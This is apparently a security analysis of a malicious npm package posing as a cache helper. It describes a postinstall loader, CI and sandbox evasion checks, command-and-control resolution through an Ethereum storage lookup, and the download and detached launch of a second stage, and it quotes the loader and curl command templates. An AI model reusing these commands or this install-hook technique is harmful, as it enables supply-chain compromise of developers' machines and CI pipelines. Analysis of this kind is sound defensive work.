@iobandamwer/cache-helper@1.0.3

Analysis

This package is a loader disguised as a cache utility. Its only JavaScript is a 47-byte index.js and a postinstall hook that both run `node -e "try{require('./addon.node').init()}catch(e){}"`, silently swallowing any error while loading a 21 KB native ELF Node-API addon (addon.node) that carries the real payload. On install the addon reads an encrypted configuration blob shipped as `.cache`, then fingerprints the host before doing anything else: it enumerates CI environment variables (GITHUB_ACTIONS, GITLAB_CI, TRAVIS, CIRCLECI, JENKINS_URL, BUILDKITE, CODEBUILD_BUILD_ID, APPVEYOR, DRONE, SEMAPHORE, TEAMCITY_VERSION, BITBUCKET_BUILD_NUMBER, NETLIFY, VERCEL, CF_BUILD_ID) and inspects /proc/1/cgroup, /proc/1/cmdline, /proc/meminfo, /proc/cpuinfo, /proc/self/status (TracerPid) and /proc/self/maps to detect containers, sandboxes and debuggers. It then resolves its command-and-control address from the blockchain instead of hardcoding it, issuing an EVM JSON-RPC call through curl: `curl -sS -m 10 -X POST -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"eth_getStorageAt","params":["%s","%s","latest"],"id":1}' '%s'`, parsing the returned `"result":"0x…"` storage value. Finally it downloads a second-stage payload with `curl -sS -m 30 -L --max-redirs 5 -o '<path>' '<url>'` into `/tmp/.<pid>`, marks it executable with chmod, and launches it detached via fork/setsid/execlp. No C2 host, IP or contract address is hardcoded in the package; both the RPC endpoint and the contract are supplied by the encrypted `.cache` blob and the on-chain lookup, so the network indicator only appears at runtime.